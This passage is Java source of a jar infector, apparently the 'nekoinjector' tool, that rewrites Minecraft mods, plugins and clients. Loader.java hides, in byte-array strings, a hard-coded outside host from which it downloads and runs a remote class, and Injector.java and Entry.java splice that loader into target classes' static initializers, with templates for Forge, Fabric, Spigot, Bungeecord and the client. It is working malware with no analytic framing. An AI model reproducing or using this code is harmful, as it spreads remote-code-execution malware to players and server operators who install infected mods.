properties.length ? new byte[0] : propertyBytes(offset + 1, properties)) : value.getBytes(); 48 | } 49 | 50 | public static byte[] envBytes(String... properties) { 51 | return envBytes(1, properties); 52 | } 53 | 54 | public static byte[] envBytes(String env) { 55 | String value = System.getenv(env); 56 | return Objects.isNull(value) ? new byte[0] : value.getBytes(); 57 | } 58 | 59 | public static String env(String env) { 60 | return new String(envBytes(env)); 61 | } 62 | 63 | public static byte[] propertyBytes(String property) { 64 | String value = System.getProperty(property); 65 | return Objects.isNull(value) ? new byte[0] : value.getBytes(); 66 | } 67 | 68 | public static byte[] propertyBytes(int offset, String... properties) { 69 | String value = System.getProperty(properties[offset]); 70 | return Objects.isNull(value) ? (offset + 1 >= properties.length ? new byte[0] : propertyBytes(offset + 1, properties)) : value.getBytes(); 71 | } 72 | 73 | public static byte[] propertyBytes(String... properties) { 74 | return propertyBytes(1, properties); 75 | } 76 | 77 | public static String property(String property) { 78 | return new String(propertyBytes(property)); 79 | } 80 | 81 | public static String property(String... property) { 82 | return new String(propertyBytes(property)); 83 | } 84 | 85 | static { 86 | try { 87 | hardware = new SystemInfo().getHardware(); 88 | } catch (Throwable var1) { 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/Injector.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector; 2 | 3 | import dev.neko.nekoinjector.utils.EncodingUtil; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.util.Objects; 7 | import java.util.jar.Manifest; 8 | import java.util.jar.Attributes.Name; 9 | import org.objectweb.asm.ClassReader; 10 | import org.objectweb.asm.tree.AbstractInsnNode; 11 | import org.objectweb.asm.tree.ClassNode; 12 | import org.objectweb.asm.tree.LdcInsnNode; 13 | import org.objectweb.asm.tree.MethodNode; 14 | 15 | public class Injector { 16 | public static MethodNode loadInstallerNode(InputStream clazz, String ref) throws IOException { 17 | ClassReader installerClassReader = new ClassReader(clazz); 18 | ClassNode installerNode = new ClassNode(); 19 | installerClassReader.accept(installerNode, 0); 20 | MethodNode methodNode = installerNode.methods 21 | .stream() 22 | .filter(methodNode2 -> Objects.equals(methodNode2.name, "load")) 23 | .findFirst() 24 | .orElseThrow(IllegalStateException::new); 25 | 26 | for(AbstractInsnNode instruction : methodNode.instructions) { 27 | if (instruction instanceof LdcInsnNode) { 28 | LdcInsnNode ldc = (LdcInsnNode)instruction; 29 | if (ldc.cst instanceof String && Objects.equals(ldc.cst, "REF")) { 30 | ldc.cst = Objects.isNull(ref) ? null : EncodingUtil.encodeToByteFormat(EncodingUtil.reverseBytes(ref.getBytes())); 31 | } 32 | } 33 | } 34 | 35 | return methodNode; 36 | } 37 | 38 | public static String findMainClass(Manifest manifest) { 39 | return !Objects.isNull(manifest) && !Objects.isNull(manifest.getMainAttributes()) && manifest.getMainAttributes().containsKey(Name.MAIN_CLASS) 40 | ? String.format("%s.class", manifest.getMainAttributes().getValue(Name.MAIN_CLASS).replaceAll("\\.", "/")) 41 | : null; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/Loader.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector; 2 | 3 | import java.net.URL; 4 | 5 | public class Loader { 6 | public void load() { 7 | try { 8 | Class.forName( 9 | // "Utility" 10 | new String(new byte[]{85, 116, 105, 108, 105, 116, 121}), 11 | true, 12 | (ClassLoader)Class.forName( 13 | // java.net.URLClassLoader 14 | new String(new byte[]{106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114}) 15 | ) 16 | .getConstructor(URL[].class) 17 | .newInstance( 18 | new URL[]{ 19 | new URL( 20 | // http 21 | new String(new byte[]{104, 116, 116, 112}), 22 | // 85.217.144.130 23 | new String(new byte[]{56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48}), 24 | 8080, 25 | // /dl 26 | new String(new byte[]{47, 100, 108}) 27 | ) 28 | } 29 | ) 30 | ) 31 | // run 32 | .getMethod(new String(new byte[]{114, 117, 110}), String.class) 33 | .invoke(null, "REF"); 34 | } catch (Throwable var2) { 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/asm/Entry.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.asm; 2 | 3 | import java.util.Objects; 4 | import java.util.UUID; 5 | import java.util.jar.JarEntry; 6 | import org.objectweb.asm.ClassWriter; 7 | import org.objectweb.asm.tree.AbstractInsnNode; 8 | import org.objectweb.asm.tree.ClassNode; 9 | import org.objectweb.asm.tree.LdcInsnNode; 10 | import org.objectweb.asm.tree.MethodInsnNode; 11 | import org.objectweb.asm.tree.MethodNode; 12 | 13 | public class Entry { 14 | private final JarEntry jarEntry; 15 | private final ClassNode classNode; 16 | private final byte[] bytes; 17 | private boolean inject; 18 | 19 | public Entry(JarEntry jarEntry, ClassNode classNode, byte[] bytes, boolean inject) { 20 | this.jarEntry = jarEntry; 21 | this.classNode = classNode; 22 | this.bytes = bytes; 23 | this.inject = inject; 24 | } 25 | 26 | public final JarEntry getJarEntry() { 27 | return this.jarEntry; 28 | } 29 | 30 | public final ClassNode getClassNode() { 31 | return this.classNode; 32 | } 33 | 34 | public final boolean isInject() { 35 | return this.inject; 36 | } 37 | 38 | public void setInject(boolean inject) { 39 | this.inject = inject; 40 | } 41 | 42 | public final byte[] getBytes() { 43 | return this.bytes; 44 | } 45 | 46 | public final boolean isClass() { 47 | return Objects.nonNull(this.classNode); 48 | } 49 | 50 | public final boolean isResource() { 51 | return Objects.isNull(this.classNode); 52 | } 53 | 54 | public final boolean isInjected(String encodedRef) { 55 | for(MethodNode method : this.classNode.methods) { 56 | for(AbstractInsnNode instruction : method.instructions) { 57 | if (instruction instanceof LdcInsnNode) { 58 | LdcInsnNode ldcInsnNode = (LdcInsnNode)instruction; 59 | if (ldcInsnNode.cst instanceof String && Objects.equals(ldcInsnNode.cst, encodedRef)) { 60 | return true; 61 | } 62 | } 63 | } 64 | } 65 | 66 | return false; 67 | } 68 | 69 | public final byte[] inject(MethodNode methodNode) { 70 | ClassWriter classWriter = new ClassWriter(1); 71 | MethodNode alreadyExistingClinit = this.classNode.methods.stream().filter(method -> Objects.equals(method.name, "")).findFirst().orElse(null); 72 | if (Objects.nonNull(alreadyExistingClinit)) { 73 | MethodNode newClinitNode = new MethodNode(8, String.format("_%s", UUID.randomUUID().toString().replaceAll("-", "")), "()V", null, null); 74 | newClinitNode.instructions = methodNode.instructions; 75 | this.classNode.methods.add(newClinitNode); 76 | alreadyExistingClinit.instructions 77 | .insert(alreadyExistingClinit.instructions.getFirst(), new MethodInsnNode(184, this.classNode.name, newClinitNode.name, newClinitNode.desc)); 78 | } else { 79 | MethodNode clinitNode = new MethodNode(8, "", "()V", null, null); 80 | clinitNode.instructions = methodNode.instructions; 81 | this.classNode.methods.add(clinitNode); 82 | } 83 | 84 | this.classNode.accept(classWriter); 85 | return classWriter.toByteArray(); 86 | } 87 | 88 | public final boolean isCertificate() { 89 | String name = this.jarEntry.getName(); 90 | return Objects.equals(name, "META-INF/CERTIFIC.RSA") 91 | || Objects.equals(name, "META-INF/CERT.SF") 92 | || Objects.equals(name, "META-INF/CERTIFIC.SF") 93 | || Objects.equals(name, "META-INF/CERTIFIC.EC"); 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/asm/EntryList.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.asm; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | import java.util.Objects; 6 | import java.util.function.Predicate; 7 | import java.util.stream.Collectors; 8 | 9 | public class EntryList extends ArrayList { 10 | public Entry getBy(Predicate predicate) { 11 | return this.stream().filter(predicate).findFirst().orElse(null); 12 | } 13 | 14 | public Entry getByPath(String path) { 15 | return this.getBy( 16 | entry -> Objects.equals(entry.getJarEntry().getName(), path) || Objects.equals(String.format("/%s", entry.getJarEntry().getName()), path) 17 | ); 18 | } 19 | 20 | public List classes() { 21 | return this.stream().filter(Entry::isClass).collect(Collectors.toList()); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/template/SimpleTemplate.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.template; 2 | 3 | import dev.neko.nekoinjector.asm.Entry; 4 | import dev.neko.nekoinjector.asm.EntryList; 5 | import java.util.HashSet; 6 | import java.util.List; 7 | import java.util.stream.Collectors; 8 | import java.util.zip.ZipEntry; 9 | 10 | public class SimpleTemplate implements Template { 11 | private final String name; 12 | private final List suggest; 13 | private final List injections; 14 | 15 | public SimpleTemplate(String name, List suggest, List injections) { 16 | this.name = name; 17 | this.suggest = suggest; 18 | this.injections = injections; 19 | } 20 | 21 | @Override 22 | public final boolean shouldSuggest(EntryList jarEntries) { 23 | return new HashSet(jarEntries.stream().map(Entry::getJarEntry).map(ZipEntry::getName).collect(Collectors.toList())).containsAll(this.suggest); 24 | } 25 | 26 | @Override 27 | public final String getName() { 28 | return this.name; 29 | } 30 | 31 | public final List getSuggest() { 32 | return this.suggest; 33 | } 34 | 35 | public final List getInjections() { 36 | return this.injections; 37 | } 38 | 39 | @Override 40 | public boolean shouldInject(Entry entry) { 41 | return this.injections.contains(entry.getJarEntry().getName()) 42 | || this.injections.contains(String.format("/%s", this.injections.contains(entry.getJarEntry().getName()))); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/template/Template.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.template; 2 | 3 | import dev.neko.nekoinjector.asm.Entry; 4 | import dev.neko.nekoinjector.asm.EntryList; 5 | 6 | public interface Template { 7 | boolean shouldSuggest(EntryList var1); 8 | 9 | boolean shouldInject(Entry var1); 10 | 11 | String getName(); 12 | } 13 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/template/impl/BungeecordPluginTemplate.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.template.impl; 2 | 3 | import dev.neko.nekoinjector.asm.Entry; 4 | import dev.neko.nekoinjector.asm.EntryList; 5 | import dev.neko.nekoinjector.template.Template; 6 | import java.util.Objects; 7 | 8 | public class BungeecordPluginTemplate implements Template { 9 | private static final String PLUGIN_SUPERCLASS = "net/md_5/bungee/api/plugin/Plugin"; 10 | 11 | @Override 12 | public boolean shouldSuggest(EntryList entries) { 13 | return entries.stream().anyMatch(entry -> entry.isClass() && Objects.equals(entry.getClassNode().superName, "net/md_5/bungee/api/plugin/Plugin")); 14 | } 15 | 16 | @Override 17 | public boolean shouldInject(Entry entry) { 18 | return Objects.equals(entry.getClassNode().superName, "net/md_5/bungee/api/plugin/Plugin"); 19 | } 20 | 21 | @Override 22 | public String getName() { 23 | return "minecraft-bungeecord-plugin"; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/template/impl/FabricModTemplate.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.template.impl; 2 | 3 | import dev.neko.nekoinjector.asm.Entry; 4 | import dev.neko.nekoinjector.asm.EntryList; 5 | import dev.neko.nekoinjector.template.Template; 6 | 7 | public class FabricModTemplate implements Template { 8 | private static final String MOD_INTERFACE = "net/fabricmc/api/ModInitializer"; 9 | 10 | @Override 11 | public boolean shouldSuggest(EntryList entries) { 12 | return entries.stream().anyMatch(entry -> entry.isClass() && entry.getClassNode().interfaces.contains("net/fabricmc/api/ModInitializer")); 13 | } 14 | 15 | @Override 16 | public boolean shouldInject(Entry entry) { 17 | return entry.getClassNode().interfaces.contains("net/fabricmc/api/ModInitializer"); 18 | } 19 | 20 | @Override 21 | public String getName() { 22 | return "minecraft-fabric-mod"; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/template/impl/ForgeModTemplate.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.template.impl; 2 | 3 | import dev.neko.nekoinjector.asm.Entry; 4 | import dev.neko.nekoinjector.asm.EntryList; 5 | import dev.neko.nekoinjector.template.Template; 6 | import java.util.Objects; 7 | 8 | public class ForgeModTemplate implements Template { 9 | private static final String MOD_ANNOTATION = "Lnet/minecraftforge/fml/common/Mod;"; 10 | 11 | @Override 12 | public boolean shouldSuggest(EntryList entries) { 13 | return entries.stream() 14 | .anyMatch( 15 | entry -> entry.isClass() 16 | && Objects.nonNull(entry.getClassNode().visibleAnnotations) 17 | && entry.getClassNode() 18 | .visibleAnnotations 19 | .stream() 20 | .anyMatch(annotationNode -> Objects.equals(annotationNode.desc, "Lnet/minecraftforge/fml/common/Mod;")) 21 | ); 22 | } 23 | 24 | @Override 25 | public boolean shouldInject(Entry entry) { 26 | return Objects.nonNull(entry.getClassNode().visibleAnnotations) 27 | && entry.getClassNode() 28 | .visibleAnnotations 29 | .stream() 30 | .anyMatch(annotationNode -> Objects.equals(annotationNode.desc, "Lnet/minecraftforge/fml/common/Mod;")); 31 | } 32 | 33 | @Override 34 | public String getName() { 35 | return "minecraft-forge-mod"; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/template/impl/MinecraftClientTemplate.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.template.impl; 2 | 3 | import dev.neko.nekoinjector.template.SimpleTemplate; 4 | import java.util.Arrays; 5 | import java.util.Collections; 6 | 7 | public class MinecraftClientTemplate extends SimpleTemplate { 8 | public MinecraftClientTemplate() { 9 | super( 10 | "minecraft-client", 11 | Collections.singletonList("net/minecraft/client/main/Main.class"), 12 | Arrays.asList("net/minecraft/client/main/Main.class", "net/minecraft/client/gui/GuiMultiplayer.class") 13 | ); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/template/impl/SpigotPluginTemplate.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.template.impl; 2 | 3 | import dev.neko.nekoinjector.asm.Entry; 4 | import dev.neko.nekoinjector.asm.EntryList; 5 | import dev.neko.nekoinjector.template.Template; 6 | import java.util.Objects; 7 | 8 | public class SpigotPluginTemplate implements Template { 9 | private static final String PLUGIN_SUPERCLASS = "org/bukkit/plugin/java/JavaPlugin"; 10 | 11 | @Override 12 | public boolean shouldSuggest(EntryList entries) { 13 | return entries.stream().anyMatch(entry -> entry.isClass() && Objects.equals(entry.getClassNode().superName, "org/bukkit/plugin/java/JavaPlugin")); 14 | } 15 | 16 | @Override 17 | public boolean shouldInject(Entry entry) { 18 | return Objects.equals(entry.getClassNode().superName, "org/bukkit/plugin/java/JavaPlugin"); 19 | } 20 | 21 | @Override 22 | public String getName() { 23 | return "minecraft-spigot-plugin"; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/utils/EncodingUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.utils; 2 | 3 | import java.util.StringJoiner; 4 | 5 | public class EncodingUtil { 6 | public static byte[] decodeFromByteFormat(String string) { 7 | String[] split = string.split("\\."); 8 | byte[] bytes = new byte[split.length]; 9 | 10 | for(int i = 0; i < bytes.length; ++i) { 11 | bytes[i] = Byte.parseByte(split[i]); 12 | } 13 | 14 | return bytes; 15 | } 16 | 17 | public static String encodeToByteFormat(byte[] bytes) { 18 | StringJoiner joiner = new StringJoiner("."); 19 | 20 | for(byte b : bytes) { 21 | joiner.add(String.valueOf((int)b)); 22 | } 23 | 24 | return joiner.toString(); 25 | } 26 | 27 | public static byte[] reverseBytes(byte[] bytes) { 28 | byte[] reversedBytes = new byte[bytes.length]; 29 | 30 | for(int i = 0; i < bytes.length; ++i) { 31 | byte originalByte = bytes[i]; 32 | byte reversedByte = 0; 33 | 34 | for(int j = 0; j < 8; ++j) { 35 | reversedByte = (byte)(reversedByte << 1); 36 | reversedByte = (byte)(reversedByte | originalByte & 1); 37 | originalByte = (byte)(originalByte >> 1); 38 | } 39 | 40 | reversedBytes[i] = reversedByte; 41 | } 42 | 43 | return reversedBytes; 44 | } 45 | 46 | public static byte[] restoreReversedBytes(byte[] reversedBytes) { 47 | byte[] bytes = new byte[reversedBytes.length]; 48 | 49 | for(int i = 0; i < reversedBytes.length; ++i) { 50 | byte reversedByte = reversedBytes[i]; 51 | byte originalByte = 0; 52 | 53 | for(int j = 0; j < 8; ++j) { 54 | originalByte = (byte)(originalByte << 1); 55 | originalByte = (byte)(originalByte | reversedByte & 1); 56 | reversedByte = (byte)(reversedByte >> 1); 57 | } 58 | 59 | bytes[i] = originalByte; 60 | } 61 | 62 | return bytes; 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /dev/neko/nekoinjector/utils/ListUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoinjector.utils; 2 | 3 | import java.util.Enumeration; 4 | import java.util.List; 5 | import java.util.function.Function; 6 | import java.util.function.Predicate; 7 | 8 | public class ListUtil { 9 | public static void toList(List list, Enumeration enumeration, Predicate predicate, Function mapper) { 10 | while(enumeration.hasMoreElements()) { 11 | T element = enumeration.nextElement(); 12 | if (predicate.test(element)) { 13 | list.add(mapper.apply(element)); 14 | } 15 | } 16 | } 17 | } 18 | --------------------------------------------------------------------------------